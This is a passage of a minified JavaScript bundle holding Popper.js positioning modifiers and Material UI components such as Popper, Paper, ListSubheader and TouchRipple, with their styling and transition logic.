Me(e){return[G,J,Y,Z].some((function(t){return e[t]>=0}))}var Te=de({defaultModifiers:[{name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,n=e.instance,r=e.options,o=r.scroll,i=void 0===o||o,a=r.resize,s=void 0===a||a,l=C(t.elements.popper),c=[].concat(t.scrollParents.reference,t.scrollParents.popper);return i&&c.forEach((function(e){e.addEventListener("scroll",n.update,pe)})),s&&l.addEventListener("resize",n.update,pe),function(){i&&c.forEach((function(e){e.removeEventListener("scroll",n.update,pe)})),s&&l.removeEventListener("resize",n.update,pe)}},data:{}},{name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state,n=e.name;t.modifiersData[n]=ve({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}},{name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options,r=n.gpuAcceleration,o=void 0===r||r,i=n.adaptive,a=void 0===i||i,s=n.roundOffsets,l=void 0===s||s,c={placement:fe(t.placement),variation:he(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:o,isFixed:"fixed"===t.options.strategy};null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,ye(Object.assign({},c,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:a,roundOffsets:l})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,ye(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}},{name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},r=t.attributes[e]||{},o=t.elements[e];O(o)&&L(o)&&(Object.assign(o.style,n),Object.keys(r).forEach((function(e){var t=r[e];!1===t?o.removeAttribute(e):o.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var r=t.elements[e],o=t.attributes[e]||{},i=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{});O(r)&&L(r)&&(Object.assign(r.style,i),Object.keys(o).forEach((function(e){r.removeAttribute(e)})))}))}},requires:["computeStyles"]},{name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.options,r=e.name,o=n.offset,i=void 0===o?[0,0]:o,a=ae.reduce((function(e,n){return e[n]=function(e,t,n){var r=fe(e),o=[Z,G].indexOf(r)>=0?-1:1,i="function"==typeof n?n(Object.assign({},t,{placement:e})):n,a=i[0],s=i[1];return a=a||0,s=(s||0)*o,[Z,J].indexOf(r)>=0?{x:s,y:a}:{x:a,y:s}}(n,t.rects,i),e}),{}),s=a[t.placement],l=s.x,c=s.y;null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=l,t.modifiersData.popperOffsets.y+=c),t.modifiersData[r]=a}},{name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,r=e.name;if(!t.modifiersData[r]._skip){for(var o=n.mainAxis,i=void 0===o||o,a=n.altAxis,s=void 0===a||a,l=n.fallbackPlacements,c=n.padding,u=n.boundary,d=n.rootBoundary,p=n.altBoundary,f=n.flipVariations,h=void 0===f||f,m=n.allowedAutoPlacements,v=t.options.placement,g=fe(v),y=l||(g!==v&&h?function(e){if(fe(e)===Q)return[];var t=xe(e);return[we(e),t,we(t)]}(v):[xe(v)]),b=[v].concat(y).reduce((function(e,n){return e.concat(fe(n)===Q?function(e,t){void 0===t&&(t={});var n=t,r=n.placement,o=n.boundary,i=n.rootBoundary,a=n.padding,s=n.flipVariations,l=n.allowedAutoPlacements,c=void 0===l?ae:l,u=he(r),d=u?s?ie:ie.filter((function(e){return he(e)===u})):ee,p=d.filter((function(e){return c.indexOf(e)>=0}));0===p.length&&(p=d);var f=p.reduce((function(t,n){return t[n]=Re(e,{placement:n,boundary:o,rootBoundary:i,padding:a})[fe(n)],t}),{});return Object.keys(f).sort((function(e,t){return f[e]-f[t]}))}(t,{placement:n,boundary:u,rootBoundary:d,padding:c,flipVariations:h,allowedAutoPlacements:m}):n)}),[]),x=t.rects.reference,A=t.rects.popper,w=new Map,k=!0,S=b[0],C=0;C<b.length;C++){var E=b[C],O=fe(E),R=he(E)===te,P=[G,Y].indexOf(O)>=0,$=P?"width":"height",M=Re(t,{placement:E,boundary:u,rootBoundary:d,altBoundary:p,padding:c}),T=P?R?J:Z:R?Y:G;x[$]>A[$]&&(T=xe(T));var I=xe(T),N=[];if(i&&N.push(M[O]<=0),s&&N.push(M[T]<=0,M[I]<=0),N.every((function(e){return e}))){S=E,k=!1;break}w.set(E,N)}if(k)for(var j=function(e){var t=b.find((function(t){var n=w.get(t);if(n)return n.slice(0,e).every((function(e){return e}))}));if(t)return S=t,"break"},L=h?3:1;L>0&&"break"!==j(L);L--);t.placement!==S&&(t.modifiersData[r]._skip=!0,t.placement=S,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}},{name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,r=e.name,o=n.mainAxis,i=void 0===o||o,a=n.altAxis,s=void 0!==a&&a,l=n.boundary,c=n.rootBoundary,u=n.altBoundary,d=n.padding,p=n.tether,f=void 0===p||p,h=n.tetherOffset,m=void 0===h?0:h,v=Re(t,{boundary:l,rootBoundary:c,padding:d,altBoundary:u}),g=fe(t.placement),y=he(t.placement),b=!y,x=me(g),A="x"===x?"y":"x",w=t.modifiersData.popperOffsets,k=t.rects.reference,S=t.rects.popper,C="function"==typeof m?m(Object.assign({},t.rects,{placement:t.placement})):m,E="number"==typeof C?{mainAxis:C,altAxis:C}:Object.assign({mainAxis:0,altAxis:0},C),O=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,R={x:0,y:0};if(w){if(i){var M,T="y"===x?G:Z,I="y"===x?Y:J,N="y"===x?"height":"width",j=w[x],L=j+v[T],z=j-v[I],D=f?-S[N]/2:0,F=y===te?k[N]:S[N],W=y===te?-S[N]:-k[N],_=t.elements.arrow,V=f&&_?B(_):{width:0,height:0},H=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},q=H[T],K=H[I],U=Pe(0,k[N],V[N]),Q=b?k[N]/2-D-U-q-E.mainAxis:F-U-q-E.mainAxis,ee=b?-k[N]/2+D+U+K+E.mainAxis:W+U+K+E.mainAxis,ne=t.elements.arrow&&X(t.elements.arrow),re=ne?"y"===x?ne.clientTop||0:ne.clientLeft||0:0,oe=null!=(M=null==O?void 0:O[x])?M:0,ie=j+ee-oe,ae=Pe(f?$(L,j+Q-oe-re):L,j,f?P(z,ie):z);w[x]=ae,R[x]=ae-j}if(s){var se,le="x"===x?G:Z,ce="x"===x?Y:J,ue=w[A],de="y"===A?"height":"width",pe=ue+v[le],ve=ue-v[ce],ge=-1!==[G,Z].indexOf(g),ye=null!=(se=null==O?void 0:O[A])?se:0,be=ge?pe:ue-k[de]-S[de]-ye+E.altAxis,xe=ge?ue+k[de]+S[de]-ye-E.altAxis:ve,Ae=f&&ge?function(e,t,n){var r=Pe(e,t,n);return r>n?n:r}(be,ue,xe):Pe(f?be:pe,ue,f?xe:ve);w[A]=Ae,R[A]=Ae-ue}t.modifiersData[r]=R}},requiresIfExists:["offset"]},{name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,r=e.name,o=e.options,i=n.elements.arrow,a=n.modifiersData.popperOffsets,s=fe(n.placement),l=me(s),c=[Z,J].indexOf(s)>=0?"height":"width";if(i&&a){var u=function(e,t){return Ee("number"!=typeof(e="function"==typeof e?e(Object.assign({},t.rects,{placement:t.placement})):e)?e:Oe(e,ee))}(o.padding,n),d=B(i),p="y"===l?G:Z,f="y"===l?Y:J,h=n.rects.reference[c]+n.rects.reference[l]-a[l]-n.rects.popper[c],m=a[l]-n.rects.reference[l],v=X(i),g=v?"y"===l?v.clientHeight||0:v.clientWidth||0:0,y=h/2-m/2,b=u[p],x=g-d[c]-u[f],A=g/2-d[c]/2+y,w=Pe(b,A,x),k=l;n.modifiersData[r]=((t={})[k]=w,t.centerOffset=w-A,t)}},effect:function(e){var t=e.state,n=e.options.element,r=void 0===n?"[data-popper-arrow]":n;null!=r&&("string"!=typeof r||(r=t.elements.popper.querySelector(r)))&&ke(t.elements.popper,r)&&(t.elements.arrow=r)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},{name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state,n=e.name,r=t.rects.reference,o=t.rects.popper,i=t.modifiersData.preventOverflow,a=Re(t,{elementContext:"reference"}),s=Re(t,{altBoundary:!0}),l=$e(a,r),c=$e(s,o,i),u=Me(l),d=Me(c);t.modifiersData[n]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:u,hasPopperEscaped:d},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":u,"data-popper-escaped":d})}}]});function Ie(e){var t,n,r="";if("string"==typeof e||"number"==typeof e)r+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(n=Ie(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}const Ne=function(){for(var e,t,n=0,r="",o=arguments.length;n<o;n++)(e=arguments[n])&&(t=Ie(e))&&(r&&(r+=" "),r+=t);return r},je=function(e){if(void 0===e)return{};const t={};return Object.keys(e).filter((t=>!(t.match(/^on[A-Z]/)&&"function"==typeof e[t]))).forEach((n=>{t[n]=e[n]})),t},Le=function(e){const{getSlotProps:t,additionalProps:n,externalSlotProps:r,externalForwardedProps:i,className:a}=e;if(!t){const e=Ne(null==n?void 0:n.className,a,null==i?void 0:i.className,null==r?void 0:r.className),t=(0,o.A)({},null==n?void 0:n.style,null==i?void 0:i.style,null==r?void 0:r.style),s=(0,o.A)({},n,i,r);return e.length>0&&(s.className=e),Object.keys(t).length>0&&(s.style=t),{props:s,internalRef:void 0}}const s=function(e,t=[]){if(void 0===e)return{};const n={};return Object.keys(e).filter((n=>n.match(/^on[A-Z]/)&&"function"==typeof e[n]&&!t.includes(n))).forEach((t=>{n[t]=e[t]})),n}((0,o.A)({},i,r)),l=je(r),c=je(i),u=t(s),d=Ne(null==u?void 0:u.className,null==n?void 0:n.className,a,null==i?void 0:i.className,null==r?void 0:r.className),p=(0,o.A)({},null==u?void 0:u.style,null==n?void 0:n.style,null==i?void 0:i.style,null==r?void 0:r.style),f=(0,o.A)({},u,n,c,l);return d.length>0&&(f.className=d),Object.keys(p).length>0&&(f.style=p),{props:f,internalRef:u.ref}},ze=["elementType","externalSlotProps","ownerState","skipResolvingSlotProps"],De=function(e){var t;const{elementType:n,externalSlotProps:i,ownerState:a,skipResolvingSlotProps:s=!1}=e,l=(0,r.A)(e,ze),c=s?{}:function(e,t,n){return"function"==typeof e?e(t,n):e}(i,a),{props:u,internalRef:d}=Le((0,o.A)({},l,{externalSlotProps:c})),p=k(d,null==c?void 0:c.ref,null==(t=e.additionalProps)?void 0:t.ref);return function(e,t,n){return void 0===e||"string"==typeof e?t:(0,o.A)({},t,{ownerState:(0,o.A)({},t.ownerState,n)})}(n,(0,o.A)({},u,{ref:p}),a)};var Fe=n(5795),We=n(4848);const _e=i.forwardRef((function(e,t){const{children:n,container:r,disablePortal:o=!1}=e,[a,s]=i.useState(null),l=k(i.isValidElement(n)?n.ref:null,t);if(h((()=>{o||s(function(e){return"function"==typeof e?e():e}(r)||document.body)}),[r,o]),h((()=>{if(a&&!o)return v(t,a),()=>{v(t,null)}}),[t,a,o]),o){if(i.isValidElement(n)){const e={ref:l};return i.cloneElement(n,e)}return(0,We.jsx)(i.Fragment,{children:n})}return(0,We.jsx)(i.Fragment,{children:a?Fe.createPortal(n,a):a})})),Be=e=>e,Ve=(()=>{let e=Be;return{configure(t){e=t},generate:t=>e(t),reset(){e=Be}}})(),He={active:"active",checked:"checked",completed:"completed",disabled:"disabled",error:"error",expanded:"expanded",focused:"focused",focusVisible:"focusVisible",open:"open",readOnly:"readOnly",required:"required",selected:"selected"};function qe(e,t,n="Mui"){const r=He[t];return r?`${n}-${r}`:`${Ve.generate(e)}-${t}`}function Ke(e,t,n="Mui"){const r={};return t.forEach((t=>{r[t]=qe(e,t,n)})),r}function Ue(e){return qe("MuiPopper",e)}Ke("MuiPopper",["root"]);const Xe=["anchorEl","children","direction","disablePortal","modifiers","open","placement","popperOptions","popperRef","slotProps","slots","TransitionProps","ownerState"],Ge=["anchorEl","children","container","direction","disablePortal","keepMounted","modifiers","open","placement","popperOptions","popperRef","style","transition","slotProps","slots"];function Ye(e){return"function"==typeof e?e():e}const Je={},Ze=i.forwardRef((function(e,t){var n;const{anchorEl:a,children:s,direction:l,disablePortal:u,modifiers:d,open:p,placement:f,popperOptions:m,popperRef:v,slotProps:g={},slots:y={},TransitionProps:b}=e,x=(0,r.A)(e,Xe),A=i.useRef(null),w=k(A,t),S=i.useRef(null),C=k(S,v),E=i.useRef(C);h((()=>{E.current=C}),[C]),i.useImperativeHandle(v,(()=>S.current),[]);const O=function(e,t){if("ltr"===t)return e;switch(e){case"bottom-end":return"bottom-start";case"bottom-start":return"bottom-end";case"top-end":return"top-start";case"top-start":return"top-end";default:return e}}(f,l),[R,P]=i.useState(O),[$,M]=i.useState(Ye(a));i.useEffect((()=>{S.current&&S.current.forceUpdate()})),i.useEffect((()=>{a&&M(Ye(a))}),[a]),h((()=>{if(!$||!p)return;let e=[{name:"preventOverflow",options:{altBoundary:u}},{name:"flip",options:{altBoundary:u}},{name:"onUpdate",enabled:!0,phase:"afterWrite",fn:({state:e})=>{P(e.placement)}}];null!=d&&(e=e.concat(d)),m&&null!=m.modifiers&&(e=e.concat(m.modifiers));const t=Te($,A.current,(0,o.A)({placement:O},m,{modifiers:e}));return E.current(t),()=>{t.destroy(),E.current(null)}}),[$,u,d,p,m,O]);const T={placement:R};null!==b&&(T.TransitionProps=b);const I=(e=>{const{classes:t}=e;return c({root:["root"]},Ue,t)})(e),N=null!=(n=y.root)?n:"div",j=De({elementType:N,externalSlotProps:g.root,externalForwardedProps:x,additionalProps:{role:"tooltip",ref:w},ownerState:e,className:I.root});return(0,We.jsx)(N,(0,o.A)({},j,{children:"function"==typeof s?s(T):s}))})),Qe=i.forwardRef((function(e,t){const{anchorEl:n,children:a,container:s,direction:l="ltr",disablePortal:c=!1,keepMounted:u=!1,modifiers:d,open:p,placement:f="bottom",popperOptions:h=Je,popperRef:m,style:v,transition:g=!1,slotProps:y={},slots:b={}}=e,x=(0,r.A)(e,Ge),[A,w]=i.useState(!0);if(!u&&!p&&(!g||A))return null;let k;if(s)k=s;else if(n){const e=Ye(n);k=e&&void 0!==e.nodeType?S(e).body:S(null).body}const C=p||!u||g&&!A?void 0:"none",E=g?{in:p,onEnter:()=>{w(!1)},onExited:()=>{w(!0)}}:void 0;return(0,We.jsx)(_e,{disablePortal:c,container:k,children:(0,We.jsx)(Ze,(0,o.A)({anchorEl:n,direction:l,disablePortal:c,modifiers:d,ref:t,open:g?!A:p,placement:f,popperOptions:h,popperRef:m,slotProps:y,slots:b},x,{style:(0,o.A)({position:"fixed",top:0,left:0,display:C},v),TransitionProps:E,children:a}))})}));var et=n(6461);const tt=(0,n(3478).A)();var nt=n(8312);const rt=(0,et.Ay)({themeId:nt.A,defaultTheme:tt,rootShouldForwardProp:e=>function(e){return"ownerState"!==e&&"theme"!==e&&"sx"!==e&&"as"!==e}(e)&&"classes"!==e});var ot=n(5603);function it(e){return(0,ot.b)(e)}const at=["anchorEl","component","components","componentsProps","container","disablePortal","keepMounted","modifiers","open","placement","popperOptions","popperRef","transition","slots","slotProps"],st=rt(Qe,{name:"MuiPopper",slot:"Root",overridesResolver:(e,t)=>t.root})({}),lt=i.forwardRef((function(e,t){var n;const i=(0,w.A)(),a=it({props:e,name:"MuiPopper"}),{anchorEl:s,component:l,components:c,componentsProps:u,container:d,disablePortal:p,keepMounted:f,modifiers:h,open:m,placement:v,popperOptions:g,popperRef:y,transition:b,slots:x,slotProps:A}=a,k=(0,r.A)(a,at),S=null!=(n=null==x?void 0:x.root)?n:null==c?void 0:c.Root,C=(0,o.A)({anchorEl:s,container:d,disablePortal:p,keepMounted:f,modifiers:h,open:m,placement:v,popperOptions:g,popperRef:y,transition:b},k);return(0,We.jsx)(st,(0,o.A)({as:l,direction:null==i?void 0:i.direction,slots:{root:S},slotProps:null!=A?A:u},C,{ref:t}))})),ct=n(3967).A;function ut(e){return qe("MuiListSubheader",e)}Ke("MuiListSubheader",["root","colorPrimary","colorInherit","gutters","inset","sticky"]);const dt=["className","color","component","disableGutters","disableSticky","inset"],pt=rt("li",{name:"MuiListSubheader",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[t.root,"default"!==n.color&&t[`color${ct(n.color)}`],!n.disableGutters&&t.gutters,n.inset&&t.inset,!n.disableSticky&&t.sticky]}})((({theme:e,ownerState:t})=>(0,o.A)({boxSizing:"border-box",lineHeight:"48px",listStyle:"none",color:(e.vars||e).palette.text.secondary,fontFamily:e.typography.fontFamily,fontWeight:e.typography.fontWeightMedium,fontSize:e.typography.pxToRem(14)},"primary"===t.color&&{color:(e.vars||e).palette.primary.main},"inherit"===t.color&&{color:"inherit"},!t.disableGutters&&{paddingLeft:16,paddingRight:16},t.inset&&{paddingLeft:72},!t.disableSticky&&{position:"sticky",top:0,zIndex:1,backgroundColor:(e.vars||e).palette.background.paper}))),ft=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiListSubheader"}),{className:i,color:a="default",component:s="li",disableGutters:u=!1,disableSticky:d=!1,inset:p=!1}=n,f=(0,r.A)(n,dt),h=(0,o.A)({},n,{color:a,component:s,disableGutters:u,disableSticky:d,inset:p}),m=(e=>{const{classes:t,color:n,disableGutters:r,inset:o,disableSticky:i}=e;return c({root:["root","default"!==n&&`color${ct(n)}`,!r&&"gutters",o&&"inset",!i&&"sticky"]},ut,t)})(h);return(0,We.jsx)(pt,(0,o.A)({as:s,className:l(m.root,i),ref:t,ownerState:h},f))}));ft.muiSkipListHighlight=!0;const ht=ft,mt=e=>{let t;return t=e<1?5.11916*e**2:4.5*Math.log(e+1)+2,(t/100).toFixed(2)};function vt(e){return qe("MuiPaper",e)}Ke("MuiPaper",["root","rounded","outlined","elevation","elevation0","elevation1","elevation2","elevation3","elevation4","elevation5","elevation6","elevation7","elevation8","elevation9","elevation10","elevation11","elevation12","elevation13","elevation14","elevation15","elevation16","elevation17","elevation18","elevation19","elevation20","elevation21","elevation22","elevation23","elevation24"]);const gt=["className","component","elevation","square","variant"],yt=rt("div",{name:"MuiPaper",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[t.root,t[n.variant],!n.square&&t.rounded,"elevation"===n.variant&&t[`elevation${n.elevation}`]]}})((({theme:e,ownerState:t})=>{var n;return(0,o.A)({backgroundColor:(e.vars||e).palette.background.paper,color:(e.vars||e).palette.text.primary,transition:e.transitions.create("box-shadow")},!t.square&&{borderRadius:e.shape.borderRadius},"outlined"===t.variant&&{border:`1px solid ${(e.vars||e).palette.divider}`},"elevation"===t.variant&&(0,o.A)({boxShadow:(e.vars||e).shadows[t.elevation]},!e.vars&&"dark"===e.palette.mode&&{backgroundImage:`linear-gradient(${(0,u.X4)("#fff",mt(t.elevation))}, ${(0,u.X4)("#fff",mt(t.elevation))})`},e.vars&&{backgroundImage:null==(n=e.vars.overlays)?void 0:n[t.elevation]}))})),bt=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiPaper"}),{className:i,component:a="div",elevation:s=1,square:u=!1,variant:d="elevation"}=n,p=(0,r.A)(n,gt),f=(0,o.A)({},n,{component:a,elevation:s,square:u,variant:d}),h=(e=>{const{square:t,elevation:n,variant:r,classes:o}=e;return c({root:["root",r,!t&&"rounded","elevation"===r&&`elevation${n}`]},vt,o)})(f);return(0,We.jsx)(yt,(0,o.A)({as:a,ownerState:f,className:l(h.root,i),ref:t},p))})),xt=k,At=m,wt={},kt=[];class St{constructor(){this.currentId=null,this.clear=()=>{null!==this.currentId&&(clearTimeout(this.currentId),this.currentId=null)},this.disposeEffect=()=>this.clear}static create(){return new St}start(e,t){this.clear(),this.currentId=setTimeout((()=>{this.currentId=null,t()}),e)}}let Ct=!0,Et=!1;const Ot=new St,Rt={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function Pt(e){e.metaKey||e.altKey||e.ctrlKey||(Ct=!0)}function $t(){Ct=!1}function Mt(){"hidden"===this.visibilityState&&Et&&(Ct=!0)}const Tt=function(){const e=i.useCallback((e=>{var t;null!=e&&((t=e.ownerDocument).addEventListener("keydown",Pt,!0),t.addEventListener("mousedown",$t,!0),t.addEventListener("pointerdown",$t,!0),t.addEventListener("touchstart",$t,!0),t.addEventListener("visibilitychange",Mt,!0))}),[]),t=i.useRef(!1);return{isFocusVisibleRef:t,onFocus:function(e){return!!function(e){const{target:t}=e;try{return t.matches(":focus-visible")}catch(e){}return Ct||function(e){const{type:t,tagName:n}=e;return!("INPUT"!==n||!Rt[t]||e.readOnly)||"TEXTAREA"===n&&!e.readOnly||!!e.isContentEditable}(t)}(e)&&(t.current=!0,!0)},onBlur:function(){return!!t.current&&(Et=!0,Ot.start(100,(()=>{Et=!1})),t.current=!1,!0)},ref:e}};var It=n(9417),Nt=n(7387),jt=n(7241);function Lt(e,t){var n=Object.create(null);return e&&i.Children.map(e,(function(e){return e})).forEach((function(e){n[e.key]=function(e){return t&&(0,i.isValidElement)(e)?t(e):e}(e)})),n}function zt(e,t,n){return null!=n[t]?n[t]:e.props[t]}function Dt(e,t,n){var r=Lt(e.children),o=function(e,t){function n(n){return n in t?t[n]:e[n]}e=e||{},t=t||{};var r,o=Object.create(null),i=[];for(var a in e)a in t?i.length&&(o[a]=i,i=[]):i.push(a);var s={};for(var l in t){if(o[l])for(r=0;r<o[l].length;r++){var c=o[l][r];s[o[l][r]]=n(c)}s[l]=n(l)}for(r=0;r<i.length;r++)s[i[r]]=n(i[r]);return s}(t,r);return Object.keys(o).forEach((function(a){var s=o[a];if((0,i.isValidElement)(s)){var l=a in t,c=a in r,u=t[a],d=(0,i.isValidElement)(u)&&!u.props.in;!c||l&&!d?c||!l||d?c&&l&&(0,i.isValidElement)(u)&&(o[a]=(0,i.cloneElement)(s,{onExited:n.bind(null,s),in:u.props.in,exit:zt(s,"exit",e),enter:zt(s,"enter",e)})):o[a]=(0,i.cloneElement)(s,{in:!1}):o[a]=(0,i.cloneElement)(s,{onExited:n.bind(null,s),in:!0,exit:zt(s,"exit",e),enter:zt(s,"enter",e)})}})),o}var Ft=Object.values||function(e){return Object.keys(e).map((function(t){return e[t]}))},Wt=function(e){function t(t,n){var r,o=(r=e.call(this,t,n)||this).handleExited.bind((0,It.A)(r));return r.state={contextValue:{isMounting:!0},handleExited:o,firstRender:!0},r}(0,Nt.A)(t,e);var n=t.prototype;return n.componentDidMount=function(){this.mounted=!0,this.setState({contextValue:{isMounting:!1}})},n.componentWillUnmount=function(){this.mounted=!1},t.getDerivedStateFromProps=function(e,t){var n,r,o=t.children,a=t.handleExited;return{children:t.firstRender?(n=e,r=a,Lt(n.children,(function(e){return(0,i.cloneElement)(e,{onExited:r.bind(null,e),in:!0,appear:zt(e,"appear",n),enter:zt(e,"enter",n),exit:zt(e,"exit",n)})}))):Dt(e,o,a),firstRender:!1}},n.handleExited=function(e,t){var n=Lt(this.props.children);e.key in n||(e.props.onExited&&e.props.onExited(t),this.mounted&&this.setState((function(t){var n=(0,o.A)({},t.children);return delete n[e.key],{children:n}})))},n.render=function(){var e=this.props,t=e.component,n=e.childFactory,o=(0,r.A)(e,["component","childFactory"]),i=this.state.contextValue,s=Ft(this.state.children).map(n);return delete o.appear,delete o.enter,delete o.exit,null===t?a().createElement(jt.A.Provider,{value:i},s):a().createElement(jt.A.Provider,{value:i},a().createElement(t,o,s))},t}(a().Component);Wt.propTypes={},Wt.defaultProps={component:"div",childFactory:function(e){return e}};const _t=Wt;var Bt=n(7437);const Vt=Ke("MuiTouchRipple",["root","ripple","rippleVisible","ripplePulsate","child","childLeaving","childPulsate"]),Ht=["center","classes","className"];let qt,Kt,Ut,Xt,Gt=e=>e;const Yt=(0,Bt.i7)(qt||(qt=Gt`
  0% {
    transform: scale(0);
    opacity: 0.1;
  }

  100% {
    transform: scale(1);
    opacity: 0.3;
  }
`)),Jt=(0,Bt.i7)(Kt||(Kt=Gt`
  0% {
    opacity: 1;
  }

  100% {
    opacity: 0;
  }
`)),Zt=(0,Bt.i7)(Ut||(Ut=Gt`
  0% {
    transform: scale(1);
  }

  50% {
    transform: scale(0.92);
  }

  100% {
    transform: scale(1);
  }
`)),Qt=rt("span",{name:"MuiTouchRipple",slot:"Root"})({overflow:"hidden",pointerEvents:"none",position:"absolute",zIndex:0,top:0,right:0,bottom:0,left:0,borderRadius:"inherit"}),en=rt((function(e){const{className:t,classes:n,pulsate:r=!1,rippleX:o,rippleY:a,rippleSize:s,in:c,onExited:u,timeout:d}=e,[p,f]=i.useState(!1),h=l(t,n.ripple,n.rippleVisible,r&&n.ripplePulsate),m={width:s,height:s,top:-s/2+a,left:-s/2+o},v=l(n.child,p&&n.childLeaving,r&&n.childPulsate);return c||p||f(!0),i.useEffect((()=>{if(!c&&null!=u){const e=setTimeout(u,d);return()=>{clearTimeout(e)}}}),[u,c,d]),(0,We.jsx)("span",{className:h,style:m,children:(0,We.jsx)("span",{className:v})})}),{name:"MuiTouchRipple",slot:"Ripple"})(Xt||(Xt=Gt`
  opacity: 0;
  position: absolute;

  &.${0} {
    opacity: 0.3;
    transform: scale(1);
    animation-name: ${0};
    animation-duration: ${0}ms;
    animation-timing-function: ${0};
  }

  &.${0} {
    animation-duration: ${0}ms;
  }

  & .${0} {
    opacity: 1;
    display: block;
    width: 100%;
    height: 100%;
    border-radius: 50%;
    background-color: currentColor;
  }

  & .${0} {
    opacity: 0;
    animation-name: ${0};
    animation-duration: ${0}ms;
    animation-timing-function: ${0};
  }

  & .${0} {
    position: absolute;
    /* @noflip */
    left: 0px;
    top: 0;
    animation-name: ${0};
    animation-duration: 2500ms;
    animation-timing-function: ${0};
    animation-iteration-count: infinite;
    animation-delay: 200ms;
  }
`),Vt.rippleVisible,Yt,550,(({theme:e})=>e.transitions.easing.easeInOut),Vt.ripplePulsate,(({theme:e})=>e.transitions.duration.shorter),Vt.child,Vt.childLeaving,Jt,550,(({theme:e})=>e.transitions.easing.easeInOut),Vt.childPulsate,Zt,(({theme:e})=>e.transitions.easing.easeInOut)),tn=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiTouchRipple"}),{center:a=!1,classes:s={},className:c}=n,u=(0,r.A)(n,Ht),[d,p]=i.useState([]),f=i.useRef(0),h=i.useRef(null);i.useEffect((()=>{h.current&&(h.current(),h.current=null)}),[d]);const m=i.useRef(!1),v=function(){const e=function(e){const t=i.useRef(wt);return t.current===wt&&(t.current=e(void 0)),t}(St.create).current;var t;return t=e.disposeEffect,i.useEffect(t,kt),e}(),g=i.useRef(null),y=i.useRef(null),b=i.useCallback((e=>{const{pulsate:t,rippleX:n,rippleY:r,rippleSize:o,cb:i}=e;p((e=>[...e,(0,We.jsx)(en,{classes:{ripple:l(s.ripple,Vt.ripple),rippleVisible:l(s.rippleVisible,Vt.rippleVisible),ripplePulsate:l(s.ripplePulsate,Vt.ripplePulsate),child:l(s.child,Vt.child),childLeaving:l(s.childLeaving,Vt.childLeaving),childPulsate:l(s.childPulsate,Vt.childPulsate)},timeout:550,pulsate:t,rippleX:n,rippleY:r,rippleSize:o},f.current)])),f.current+=1,h.current=i}),[s]),x=i.useCallback(((e={},t={},n=()=>{})=>{const{pulsate:r=!1,center:o=a||t.pulsate,fakeElement:i=!1}=t;if("mousedown"===(null==e?void 0:e.type)&&m.current)return void(m.current=!1);"touchstart"===(null==e?void 0:e.type)&&(m.current=!0);const s=i?null:y.current,l=s?s.getBoundingClientRect():{width:0,height:0,left:0,top:0};let c,u,d;if(o||void 0===e||0===e.clientX&&0===e.clientY||!e.clientX&&!e.touches)c=Math.round(l.width/2),u=Math.round(l.height/2);else{const{clientX:t,clientY:n}=e.touches&&e.touches.length>0?e.touches[0]:e;c=Math.round(t-l.left),u=Math.round(n-l.top)}if(o)d=Math.sqrt((2*l.width**2+l.height**2)/3),d%2==0&&(d+=1);else{const e=2*Math.max(Math.abs((s?s.clientWidth:0)-c),c)+2,t=2*Math.max(Math.abs((s?s.clientHeight:0)-u),u)+2;d=Math.sqrt(e**2+t**2)}null!=e&&e.touches?null===g.current&&(g.current=()=>{b({pulsate:r,rippleX:c,rippleY:u,rippleSize:d,cb:n})},v.start(80,(()=>{g.current&&(g.current(),g.current=null)}))):b({pulsate:r,rippleX:c,rippleY:u,rippleSize:d,cb:n})}),[a,b,v]),A=i.useCallback((()=>{x({},{pulsate:!0})}),[x]),w=i.useCallback(((e,t)=>{if(v.clear(),"touchend"===(null==e?void 0:e.type)&&g.current)return g.current(),g.current=null,void v.start(0,(()=>{w(e,t)}));g.current=null,p((e=>e.length>0?e.slice(1):e)),h.current=t}),[v]);return 